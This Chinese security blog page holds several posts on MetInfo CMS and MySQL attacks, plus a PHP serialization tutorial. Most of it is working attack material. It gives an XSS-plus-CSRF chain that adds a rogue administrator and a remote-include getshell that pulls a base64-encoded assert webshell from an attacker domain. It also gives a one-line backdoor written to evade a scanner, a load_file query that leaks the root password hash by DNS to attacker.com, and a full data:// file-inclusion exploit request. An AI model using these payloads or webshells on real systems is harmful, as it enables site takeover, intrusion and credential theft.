分类 WEB安全 下的文章

MetInfo多处框架缺陷 一键Getshell

首先列举所有利用到的缺陷

全局参数可被污染

无CSRF防御框架

$_GET,$_POST,$_COOKIE请求被合并处理

特殊的XSS

框架分析:

(1)Metinfo框架在文件include/common.inc.php中,将$_GET,$_POST,$_COOKIE请求合并进行了处理,这意味着整个框架所有$_POST的请求都可以修改为$_GET请求,并且直接对各种全局变量进行了赋值。

(2)metinfo没有防止csrf的框架

A. XSS漏洞文件:admin/content/product/addimg.php

if($action=='add'){
   $num = $lp+1;
    $newlist = "
      <div class=\"v52fmbx_dlbox newlist\">
         <dl>
            <dt class='addimgdt'>
               <p>{$lang_setflashName}{$lang_marks}</p>
               <p>{$lang_modimgurl}{$lang_marks}</p>
            </dt>
            <dd style='position:relative;'>
               <div style='margin-bottom:10px;'>
                  <input name='displayname{$lp}' type='text' class='text med' value='' />
               </div>
               <input name='displayimg{$lp}' type='text' class='text' value='' />
               <input name='met_upsql{$lp}' type='file' id='displayimg_upload{$lp}' />
               <script type='text/javascript'>
                  metuploadify('#displayimg_upload{$lp}','big_wate_img','displayimg{$lp}','','5');
               </script>
               <a href='javascript:;' onclick='imgnumfu();deletdisplayimg($(this));' class='displayimg_del'>{$lang_delete}</a>
            </dd>
         </dl>
      </div>
         ";
   echo $newlist;
}

payload:

/admin/content/product/addimg.php?action=add&lang_modimgurl=%3Cscript%20src=http://secgui&lang_marks=.com/template/metinfo.js%3E%3C/script%3E#

XSS面临的问题有:

(1)浏览器本身的XSS防御

(2)met_setcookie设置了httponly无法获取cookie

但是这个XSS比较特殊,这个XSS由两个参数合并显示

{$lang_setflashName}{$lang_marks}

所以只要拆分一个payload到两个参数中,类似Chrome本身的防护机制无法检测到这个payload。

那加载了JS之后如何使用这个JS呢?

因为$_GET,$_POST,$_COOKIE请求被合并处理,让管理员触发js打开新标签加载url,带入对应的payload,就可以完成原本需要POST请求带cookie才能完成的管理员的动作,httponly相当于摆设。

metinfo.js里的payload

window.location.href="http://受害者域名/admin/admin/save.php?action=add&lang=cn&anyid=47&useid=ceshiguanli&pass1=ceshiguanli&pass2=ceshiguanli&name&sex=0&tel&mobile=15678197538&email=1875197538%2540qq.com&qq&msn&taobao&admin_introduction&admin_group=3&langok=metinfo&langok_cn=cn&langok_en=en&langok_tc=tc&admin_pop1801=1801&admin_op0=metinfo&admin_op1=add&admin_op2=editor&admin_op3=del&admin_pop=yes&admin_pops1301=s1301&admin_popc1=c1&admin_popc2=c2&admin_popc3=c3&admin_popc25=c25&admin_popc31=c31&admin_popc32=c32&admin_popc33=c33&admin_popc36=c36&admin_popc37=c37&admin_popc38=c38&admin_popc39=c39&admin_popc40=c40&admin_popc41=c41&admin_popc42=c42&admin_popc43=c43&admin_popc49=c49&admin_popc44=c44&admin_popc50=c50&admin_popc45=c45&admin_popc46=c46&admin_popc47=c47&admin_popc51=c51&admin_popc60=c60&admin_popc61=c61&admin_popc62=c62&admin_popc63=c63&admin_popc68=c68&admin_popc69=c69&admin_popc70=c70&admin_popc86=c86&admin_popc84=c84&admin_popc87=c87&admin_popc88=c88&admin_popc92=c92&admin_popc93=c93&admin_popc94=c94&admin_popc95=c95&admin_popc96=c96&admin_popc97=c97&admin_pop9999=9999&admin_pops1401=s1401&admin_pops1106=s1106&admin_pops1404=s1404&admin_pops1406=s1406&admin_pops1101=s1101&admin_pops1102=s1102&admin_pops1505=s1505&admin_pops1507=s1507&admin_pops1503=s1503&admin_pops1504=s1504&admin_pops1006=s1006&admin_pops1501=s1501&admin_pops1601=s1601&admin_pops1603=s1603&admin_pops1004=s1004&admin_pops1005=s1005&admin_pops1007=s1007&admin_pops1103=s1103&admin_pops1201=s1201&admin_pops1002=s1002&admin_pops1003=s1003&admin_pops1104=s1104&Submit=%25E4%25BF%259D%25E5%25AD%2598";

攻击者首先设置

http://攻击者域名/index.php 中代码为

<?php
header('Location: http://受害者域名/admin/content/product/addimg.php?action=add&lang_modimgurl=%3Cscript%20src=http://secgui&lang_marks=.com/template/metinfo.js%3E%3C/script%3E#');

攻击者可以申请友情链接,管理员在后台看见之后,打开攻击者的域名,被重定向至XSS页面,从而成功添加管理员的账号。

B. 还想要GETSHELL怎么办?

先上Payload

window.location.href="http://受害者域名/admin/system/olupdate.php?action=down&met_host=攻击者域名(不要加http://)/vul.html"

vul.html里的内容

metinfo//<?php define(a,"PD9waHAgJF89Il8iOyRTPSJTIjskVF89IlQiOyRUPSJQIjskRT0iTyI7JF90ZXN0Xz0kXy4kVC4kRS4kUy4kVF87JHtzaG93fT1zdWJzdHIoImFzc2VydC5waHAiLC0xMCwtNCk7JHNob3coJHskX3Rlc3RffVt2YXJdKTs=");file_put_contents("./assert.php",base64_decode(a));echo "没有所需的Flash插件\r\n浏览器可能会自动开始下载所需插件\r\n";metinfo

管理员点击我们域名之后,就会在admin/system/目录地下生成一个shell

admin/system/assert.php

这是怎么办到的呢?

关联代码:

/admin/system/olupdate.php:274行

else if($action=='down'){/*下载文件*/
   $adminfile=$url_array[count($url_array)-2];
   $return=dlfile("$addr/dlfilelist.txt","../update/$addr/dlfilelist.txt");
   if($return!=1){
      dl_error("{$lang_updaterr8}".dlerror($return)."({$adminfile}/update/$addr/dlfilelist.txt)",$type,$olid,$ver,$addr,$action);
   }
   $return=dlfile("$addr/dladd.php","../update/$addr/dladd.php");
   if($return!=1){
      dl_error("{$lang_updaterr8}".dlerror($return)."({$adminfile}/update/$addr/dladd.php)",$type,$olid,$ver,$addr,$action);
   }
   $dladd=file_get_contents("../update/$addr/dladd.php");
   if($dladd!="No Date"){
      include "../update/$addr/dladd.php";
   }
   $dladd=file_get_contents("../update/$addr/dladd.php");
if($dladd!="No Date"){
   include "../update/$addr/dladd.php";
}
   ...

跟踪dlfile函数

include/export.func.php:112行

public function dlfile($urlfrom, $urlto, $checksum = '',$timeout = 30) {
   global $_M;
   $post_data = array('urlfrom'=>$urlfrom, 'checknum'=>$checksum, 'cmsver'=>$_M['config']['metcms_v']);
   $result = $this->curl_post($post_data, $timeout);
   $link = $this->error_no($result);
   if($link != 1){
      return $link;
   }
   if(substr($result,-7) == 'metinfo'){   
      $result=substr($result,0,-7);
      $link = $this->error_no($result);
      if ($link == 1) {
         if ($urlto) {
            if(!file_exists($urlto)){
               makefile($urlto);
            }
            $return = file_put_contents($urlto,$result);      
            if (!$return) {
               return $this->error_no('No filepower');
            } else {
               return 1;
            }
         } else {
            return $result;
         }
      }else{
         return $link;
      }
   } else {
      return $this->error_no('Timeout');
   }

}

调用了curl_post()

function curl_post($post,$timeout){
global $met_weburl,$met_host,$met_file;
$host=$met_host;
$file=$met_file;
   if(get_extension_funcs('curl')&&function_exists('curl_init')&&function_exists('curl_setopt')&&function_exists('curl_exec')&&function_exists('curl_close')){
      $curlHandle=curl_init(); 
      curl_setopt($curlHandle,CURLOPT_URL,'http://'.$host.$file);
      curl_setopt($curlHandle,CURLOPT_REFERER,$met_weburl);
      curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1); 
      curl_setopt($curlHandle,CURLOPT_CONNECTTIMEOUT,$timeout);
      curl_setopt($curlHandle,CURLOPT_TIMEOUT,$timeout);
      curl_setopt($curlHandle,CURLOPT_POST, 1);  
      curl_setopt($curlHandle,CURLOPT_POSTFIELDS, $post);
      $result=curl_exec($curlHandle); 
      curl_close($curlHandle); 
   }

其中

$host=$met_host;
$file=$met_file;

两个全局变量都是我们可以伪造的,那么就可以用这个函数来下载我们远程服务器上的webshell了,框架里的检测也被我的payload bypass掉了。

admin/system/olupdate.php:286

行还include了我远程下载的文件,执行了其中的代码。

于是webshell就已经生成了

​admin/system/assert.php

过安全狗检测的一句话;)

无聊写了个简单但是安全狗查不出的一句话后门
:/

文件名:assert.php
代码:
<?php
${"function"}=substr(__FILE__,-10,-4);;
${"command"}=$_POST[cmd];
$function($command);

链接密码:cmd

本质上这个一句话后门就是利用了检测引擎在正则匹配时候对可变变量检测能力的不足绕过检测。

Windows/*nix下DNS传出注入数据的背后

几天前和朋友在测试一个注入,想要使用MySQL通过load_file()函数,再由DNS查询传出注入出来的数据时候遇到的问题

以下语句

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.attacker.com\\foobar'));

只有Windows + MySQL才能成功通过DNS查询包传出我们想要的数据

而在*nix + MySQL环境下是无法成功的。

(大家可以试试)

这是为什么呢,我探究了一下背后的原理

MySQL load_file()函数相关的源码

  if ((file= mysql_file_open(key_file_loadfile,
                             file_name->ptr(), O_RDONLY, MYF(0))) < 0)
    goto err;

看一下mysql_file_open()这个函数

static inline File
inline_mysql_file_open(
#ifdef HAVE_PSI_FILE_INTERFACE
  PSI_file_key key, const char *src_file, uint src_line,
#endif
  const char *filename, int flags, myf myFlags)
{
  File file;
#ifdef HAVE_PSI_FILE_INTERFACE
  struct PSI_file_locker *locker;
  PSI_file_locker_state state;
  locker= PSI_FILE_CALL(get_thread_file_name_locker)
    (&state, key, PSI_FILE_OPEN, filename, &locker);
  if (likely(locker != NULL))
  {
    PSI_FILE_CALL(start_file_open_wait)(locker, src_file, src_line);
    file= my_open(filename, flags, myFlags);
    PSI_FILE_CALL(end_file_open_wait_and_bind_to_descriptor)(locker, file);
    return file;
  }
#endif

  file= my_open(filename, flags, myFlags);
  return file;
}

可以看到my_open()

File my_open(const char *FileName, int Flags, myf MyFlags)
                                /* Path-name of file */
                                /* Read | write .. */
                                /* Special flags */
{
  File fd;
  DBUG_ENTER("my_open");
  DBUG_PRINT("my",("Name: '%s'  Flags: %d  MyFlags: %d",
                   FileName, Flags, MyFlags));
#if defined(_WIN32)
  fd= my_win_open(FileName, Flags);
#else
  fd = open(FileName, Flags, my_umask);        /* Normal unix */
#endif

  fd= my_register_filename(fd, FileName, FILE_BY_OPEN, EE_FILENOTFOUND, MyFlags);
  DBUG_RETURN(fd);
}

最终可以看到在不同的环境有两种打开my_win_open(),open()

继续追踪my_win_open()

File my_win_sopen(const char *path, int oflag, int shflag, int pmode)
{
  int  fh;                                /* handle of opened file */
  int mask;
  HANDLE osfh;                            /* OS handle of opened file */
  DWORD fileaccess;                       /* OS file access (requested) */
  DWORD fileshare;                        /* OS file sharing mode */
  DWORD filecreate;                       /* OS method of opening/creating */
  DWORD fileattrib;                       /* OS file attribute flags */
  SECURITY_ATTRIBUTES SecurityAttributes;

  DBUG_ENTER("my_win_sopen");

  if (check_if_legal_filename(path))
  {
    errno= EACCES;
    DBUG_RETURN(-1);
  }
  SecurityAttributes.nLength= sizeof(SecurityAttributes);
  SecurityAttributes.lpSecurityDescriptor= NULL;
  SecurityAttributes.bInheritHandle= !(oflag & _O_NOINHERIT);

  /* decode the access flags  */
  switch (oflag & (_O_RDONLY | _O_WRONLY | _O_RDWR)) {
    case _O_RDONLY:         /* read access */
      fileaccess= GENERIC_READ;
      break;
    case _O_WRONLY:         /* write access */
      fileaccess= GENERIC_WRITE;
      break;
    case _O_RDWR:           /* read and write access */
      fileaccess= GENERIC_READ | GENERIC_WRITE;
      break;
    default:                /* error, bad oflag */
      errno= EINVAL;
      DBUG_RETURN(-1);
  }

  /* decode sharing flags */
  switch (shflag) {
    case _SH_DENYRW:        /* exclusive access except delete */
      fileshare= FILE_SHARE_DELETE;
      break;
    case _SH_DENYWR:        /* share read and delete access */
      fileshare= FILE_SHARE_READ | FILE_SHARE_DELETE;
      break;
    case _SH_DENYRD:        /* share write and delete access */
      fileshare= FILE_SHARE_WRITE | FILE_SHARE_DELETE;
      break;
    case _SH_DENYNO:        /* share read, write and delete access */
      fileshare= FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE;
      break;
    case _SH_DENYRWD:       /* exclusive access */
      fileshare= 0L;
      break;
    case _SH_DENYWRD:       /* share read access */
      fileshare= FILE_SHARE_READ;
      break;
    case _SH_DENYRDD:       /* share write access */
      fileshare= FILE_SHARE_WRITE;
      break;
    case _SH_DENYDEL:       /* share read and write access */
      fileshare= FILE_SHARE_READ | FILE_SHARE_WRITE;
      break;
    default:                /* error, bad shflag */
      errno= EINVAL;
      DBUG_RETURN(-1);
  }

  /* decode open/create method flags  */
  switch (oflag & (_O_CREAT | _O_EXCL | _O_TRUNC)) {
    case 0:
    case _O_EXCL:                   /* ignore EXCL w/o CREAT */
      filecreate= OPEN_EXISTING;
      break;

    case _O_CREAT:
      filecreate= OPEN_ALWAYS;
      break;

    case _O_CREAT | _O_EXCL:
    case _O_CREAT | _O_TRUNC | _O_EXCL:
      filecreate= CREATE_NEW;
      break;

    case _O_TRUNC:
    case _O_TRUNC | _O_EXCL:        /* ignore EXCL w/o CREAT */
      filecreate= TRUNCATE_EXISTING;
      break;

    case _O_CREAT | _O_TRUNC:
      filecreate= CREATE_ALWAYS;
      break;

    default:
      /* this can't happen ... all cases are covered */
      errno= EINVAL;
      DBUG_RETURN(-1);
  }

  /* decode file attribute flags if _O_CREAT was specified */
  fileattrib= FILE_ATTRIBUTE_NORMAL;     /* default */
  if (oflag & _O_CREAT) 
  {
    _umask((mask= _umask(0)));

    if (!((pmode & ~mask) & _S_IWRITE))
      fileattrib= FILE_ATTRIBUTE_READONLY;
  }

  /* Set temporary file (delete-on-close) attribute if requested. */
  if (oflag & _O_TEMPORARY) 
  {
    fileattrib|= FILE_FLAG_DELETE_ON_CLOSE;
    fileaccess|= DELETE;
  }

  /* Set temporary file (delay-flush-to-disk) attribute if requested.*/
  if (oflag & _O_SHORT_LIVED)
    fileattrib|= FILE_ATTRIBUTE_TEMPORARY;

  /* Set sequential or random access attribute if requested. */
  if (oflag & _O_SEQUENTIAL)
    fileattrib|= FILE_FLAG_SEQUENTIAL_SCAN;
  else if (oflag & _O_RANDOM)
    fileattrib|= FILE_FLAG_RANDOM_ACCESS;

  /* try to open/create the file  */
  if ((osfh= CreateFile(path, fileaccess, fileshare, &SecurityAttributes, 
    filecreate, fileattrib, NULL)) == INVALID_HANDLE_VALUE)
  {
    /*
       OS call to open/create file failed! map the error, release
       the lock, and return -1. note that it's not necessary to
       call _free_osfhnd (it hasn't been used yet).
    */
    my_osmaperr(GetLastError());     /* map error */
    DBUG_RETURN(-1);                 /* return error to caller */
  }

  if ((fh= my_open_osfhandle(osfh, 
    oflag & (_O_APPEND | _O_RDONLY | _O_TEXT))) == -1)
  {
    CloseHandle(osfh);
  }

  DBUG_RETURN(fh);                   /* return handle */
}

可以看到load_file()打开文件使用了Win32 API CreateFile()函数

CreateFile 在 MSDN 上的文档

传送门

https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx

可以看到CreateFile()这个函数支持Universal Naming Conventions(UNC)

可以去访问远程的域名主机上的文件,在UNC中是支持域名进行远程主机访问的,既然要访问域名就必然进行DNS解析请求,从而传出数据。

文档节选:
host-name: The host name of a server or the domain name of a domain hosting resource, using the syntax of IPv6address, IPv4address, and reg-name as specified in[RFC3986]

假设MySQL源码里面Win32下用的是C标准库函数fopen(),那么我们就无法通过DNS查询包传送出来我们的数据。(最终都是调用到了CreateFile* 感谢zcgonvh)

并且普通的*nix下是更加无法进行DNS查询,传出我们想要的数据的。

因为仅仅用了一个普通的open()函数(这个函数是在另一个头里,我也进行了追踪,但是最后发现其实也只能打开本地文件)

即使重新做了一个函数可以打开网络中的其他文件,没有类似UNC这背后的一套体系,这种注入出数据的手法也进行不下去。

很佩服第一个想到用DNS来传送SQL注入的数据的人,他肯定是看了MySQL的源码,并且对Windows的API相当熟悉的人。

Reference:
`https://msdn.microsoft.com/en-us/library/gg465305.aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx`

==============勘误===============
zcgonvh进行了调试,在Windows VC库函数中Fopen实际上最后调用的也是kernel32.dll里的CreateFile*这类Win32 API,所以必然也是支持自家的unc的。

Metinfo5.3.10 CMS最新版命令执行|文件包含 0Day

文件:admin/login/login_check.php:26行

if($action=="login"){
   $metinfo_admin_name     = $login_name;
   $metinfo_admin_pass     = $login_pass;
   $metinfo_admin_pass=md5($metinfo_admin_pass);
   /*code*/
   if($met_login_code==1){
      require_once $depth.'../include/captcha.class.php';
      $Captcha= new  Captcha();
      if(!$Captcha->CheckCode($code)){
         echo("<script type='text/javascript'>alert('$lang_logincodeerror');location.href='login.php?langset=$langset';</script>");
         exit;
      }
   }

当后台开启登陆校验码的时候$met_login_code会设置成为1

26行就会包含校验码登陆文件。

只要能够控制变量$depth就可以远程文件包含了

$depth变量是在文件'admin/login/login_check.php'开头定义的

error_reporting(E_ERROR | E_WARNING | E_PARSE);
if($depth!=''&&$depth!='../'&&$depth!='../../'){die();}
if(!isset($depth))$depth='';
$commonpath=$depth.'include/common.inc.php';
$commonpath=$admin_index?$commonpath:'../'.$commonpath;
define('SQL_DETECT',1);

通过第一次拼接$depth包含了include/common.inc.php

这一步是没有问题的,但是程序猿没有想到,包含了文件common.inc.php之后

可以通过以下代码进行变量覆盖。

文件:include/common.inc.php:35

foreach(array('_GET','_POST','_REQUEST') as $_request) {
   foreach($$_request as $_key => $_value) {
      $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
      $_M['form'][$_key] = daddslashes($_value,0,0,1);
   }
}

经过上面这段代码我们就可以覆盖掉变量$depth了

如何用require_once来执行代码呢?

可以使用php的封装协议data://配合require_once来进行恶意代码执行。

但是有个问题就是如何去掉

../include/captcha.class.php

这一串拼接在字符后面的字符串的干扰,这一段会干扰我们想要执行的代码。

我用base64解码正常文字会让后面这一串字符变成乱码,并且加上了单行注释符号注释掉乱码。

封装器解码之后代码的样子

<?php phpinfo();exit();// ..þ)ܖç^ýÆ©µÈZ.rV¬s.php

exp:

POST /admin/login/login_check.php?langset=cn&depth=data://text/plain;base64,PD9waHAgcGhwaW5mbygpO2V4aXQoKTsvLw== HTTP/1.1
Host: metinfo5.3
Content-Length: 74
Cache-Control: max-age=0
Origin: http://metinfo5.3
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://metinfo5.3/admin/login/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: recordurl=%2Chttp%253A%252F%252Fmetinfo5.3%252Fjob%252Fcv.php%253Flang%253Dcn%2526selectedjob%253D1%2Chttp%253A%252F%252Fmetinfo5.3%252F%2Chttp%253A%252F%252Fmetinfo5.3%252F%2Chttp%253A%252F%252Fmetinfo5.3%252F%2Chttp%253A%252F%252Fmetinfo5.3%252Fjob%252F%2Chttp%253A%252F%252Fmetinfo5.3%252Fjob%252Fcv.php%253Flang%253Dcn%2526selectedjob%253D1; re_url=http%3A%2F%2Fmetinfo5.3%2Fadmin%2F; met_capcha=82c0pAlNmSBbbmmob3xr5%2B8WbveYAdzQ63MRLUWwb15d
Connection: close

action=login&login_name=123&login_pass=123&code=&Submit=%E7%99%BB%E5%BD%95

效果:执行了phpinfo();

1EFDB64E-B5E6-4D1B-8488-4CA116C7F326.png

提示:因为采用了data://,所以需要php.ini allow_url_include =on

修复方案

diff:

8a9
> $depth_bak = $depth;
10a12
> $depth = $depth_bak;

包含include/common.inc.php再次给$depth赋值,防止变量被污染

PHP序列化以及反序列化系列[1]--PHP序列化格式

什么是序列化以及反序列化?

序列化是将PHP中的值(zval)转换成一段包含字节流的字符串。 序列化一个对象会保存对象的所有变量的值,但是不会保存对象的方法,只会保存类的名字。

反序列化:对单一的已序列化的变量进行操作,将其转换回 PHP 的值(zval)。

PHP序列化方式

PHP在序列化的时候会将相应的变量以对应的键值进行储存。

将一个类序列化的话,处理代码主要的文件:ext/standard/var.c中,如下。

php_var_serialize_class()函数:

    static void php_var_serialize_class(smart_str *buf, zval *struc, zval *retval_ptr, HashTable *var_hash TSRMLS_DC) /* {{{ */
    {
    ...
      incomplete_class = php_var_serialize_class_name(buf, struc TSRMLS_CC);
    ...

php_var_serialize_class_name()函数:

    static inline zend_bool php_var_serialize_class_name(smart_str *buf, zval     *struc TSRMLS_DC) /* {{{ */
    {
        PHP_CLASS_ATTRIBUTES;

        PHP_SET_CLASS_ATTRIBUTES(struc);
        smart_str_appendl(buf, "O:", 2);
        smart_str_append_long(buf, (int)name_len);
        smart_str_appendl(buf, ":\"", 2);
        smart_str_appendl(buf, class_name, name_len);
        smart_str_appendl(buf, "\":", 2);
        PHP_CLEANUP_CLASS_ATTRIBUTES();
        return incomplete_class;
    }

需要序列化一个类的话,首先PHP会先将类名序列化。格式为

O:类名长度:"类名":值:{}
<?php

class test
{
    public function show_one()
    {
        echo $this->one;
    }
    public function show_two()
    {
        echo "123";
    }
}

例:如果一个类名叫做test的类没有定义任何变量的话,序列化之后结果如下:

O:4:"test":0:{}

我们可以看到,这个类中的方法没有在序列化字符串中出现,也体现了开头的“序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。”。

其中还有比较特殊的序列化就是数组中的引用(&)的序列化与实例化后对象中自身的二次赋值。

我们在这用PHP Internal Book中的例子。

例1:

<?php
/**
 * User: LonelyRain
 */

$a = ["foo"];
$a[1] =& $a[0];

$s = serialize($a);

print $s;

以上代码的序列化结果是

a:2:{i:0;s:3:"foo";i:1;R:2;}

这里的R:2;部分意味着"指向第二个值".什么是第二个值?整个数组代表第一个值, (s:3:"foo") 代表第二个值.

<?php
/**
 * User: LonelyRain
 */

$o = new stdClass;
$o->foo = $o;

$s = serialize($o);

print $s;

以上代码的序列化结果是

O:8:"stdClass":1:{s:3:"foo";r:1;}

以下是zval对应的类型和键对照表

序列化键名对照表:

数组中二次赋值(&):            R;
对象二次赋值     :            r;
NULL           :            N;
true           :          b:1;
false          :          b:0;
Long           :            i;
Double         :            d;
String         :            s/S;
Class          :            C;
Array          :            a;
Object         :            O;

变量不同的属性也有着不同的格式

public         :        key;
protected      :        \0*\0key;
private        :        \0key\0;

通过实例来观察:

<?php
/**
 * User: LonelyRain
 */


class Test {
    public $public = 1;
    protected $protected = 2;
    private $private = 3;
}

$a = new Test();

$s = serialize($a);

var_dump($s);

结果:

"O:4:"Test":3:{s:6:"public";i:1;s:12:"\0*\0protected";i:2;s:13:"\0Test\0private";i:3;}"

再来看一看反序列化的相关知识。大家应该注意到了String对应着两个键,s与S。

serialize()与unserialize()处理有着一些差异。PHP源码serialize()中是没有相关序列化是以S为标识的,但是在unserialize中又有对S键的相关处理,下面我把相关部分代码贴出来供读者参考。

case 'S':    goto yy10;
...
yy10:
    yych = *(YYMARKER = ++YYCURSOR);
    if (yych == ':') goto yy39;
    goto yy3;
...
yy39:
    yych = *++YYCURSOR;
    if (yych == '+') goto yy40;
    if (yych <= '/') goto yy18;
    if (yych <= '9') goto yy41;
    goto yy18;
case 's':    goto yy9;
...
yy9:
    yych = *(YYMARKER = ++YYCURSOR);
    if (yych == ':') goto yy46;
    goto yy3;
...
yy46:
    yych = *++YYCURSOR;
    if (yych == '+') goto yy47;
    if (yych <= '/') goto yy18;
    if (yych <= '9') goto yy48;
    goto yy18;
...
...

如果大家继续看接下去的代码下去,会发现s和S的就会发现两个键的处理方式是一模一样的。

如果大家看了phpcodz 10,里面写道a:1:{s:8:"ryatsyne"tO:8:"ryatsyne":0:{}}这样可以突破

static public function safeUnserialize( $serialized )
{
    // unserialize will return false for object declared with small cap o
    // as well as if there is any ws between O and :
    if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false )
    {
        if ( strpos( $serialized, 'O:' ) === false )
        {
            // the easy case, nothing to worry about
            // let unserialize do the job
            return @unserialize( $serialized );
        }
        else if ( ! preg_match('/(^|;|{|})O:[+\-0-9]+:"/', $serialized ) )
        {
            // in case we did have a string with O: in it,
            // but it was not a true serialized object
            return @unserialize( $serialized );
        }
    }

    return false;
}

这个payload在php5.6.23中失效,看以下代码

yy48:
    ++YYCURSOR;
    if ((YYLIMIT - YYCURSOR) < 2) YYFILL(2);
    yych = *YYCURSOR;
    if (yych <= '/') goto yy18;
    if (yych <= '9') goto yy48;
    if (yych >= ';') goto yy18;
    yych = *++YYCURSOR;
    if (yych != '"') goto yy18;
    ++YYCURSOR;
    {
    size_t len, maxlen;
    char *str;

    len = parse_uiv(start + 2);
    maxlen = max - YYCURSOR;
    if (maxlen < len) {
        *p = start + 2;
        return 0;
    }

    str = (char*)YYCURSOR;

    YYCURSOR += len;

    if (*(YYCURSOR) != '"') {
        *p = YYCURSOR;
        return 0;
    }

    if (*(YYCURSOR + 1) != ';') {
        *p = YYCURSOR + 1;
        return 0;
    }

    YYCURSOR += 2;
    *p = YYCURSOR;

    INIT_PZVAL(*rval);
    ZVAL_STRINGL(*rval, str, len, 1);
    return 1;
}

代码中已经多加了分号符号校验,这个tricky在这个php版本中是无效的。


    if (*(YYCURSOR + 1) != ';') {
        *p = YYCURSOR + 1;
        return 0;
    }

WDDX序列化方式

序列化本质就是将程序的值以相应的格式保存下来,所以我们不止单单可以用上面的serialize函数进行序列化。PHP还提供了另外一种序列化格式为Web分布式数据交换(WDDX)。WDDX是XML的子集,所以符合WDDX的序列化过后的字符串格式是符合xml的规范的。

演示代码:

<?php
/**
 * User: LonelyRain
 */

$a = ["foo"];
$a[1] =& $a[0];

echo wddx_serialize_value($a);
?>

结果:

<wddxPacket version='1.0'><header/><data><array length='2'><string>foo</string><string>foo</string></array></data></wddxPacket>

可以看到才用wddx_serialize_value()函数处理的$a和之前使用serialize()函数处理的值都被保存下来了,只不过遵守的格式有着相应的区别。

WDDX序列化反序列化相关函数:

wddx_serialize_value:    将单一值连续化。
wddx_serialize_vars :    将多值连续化。
wddx_packet_start   :    开始新的 WDDX 封包。
wddx_packet_end     :    结束的 WDDX 封包。
wddx_add_vars       :    将 WDDX 封包连续化。
wddx_deserialize    :    将 WDDX 封包解连续化。

这一篇主要讲了序列化后数据的格式,下一次会写PHP序列化中一块重要的内容,PHP的魔术方法等内容。

Reference:

PHP内核
PHP string序列化与反序列化语法解析不一致带来的安全隐患
PHP中文手册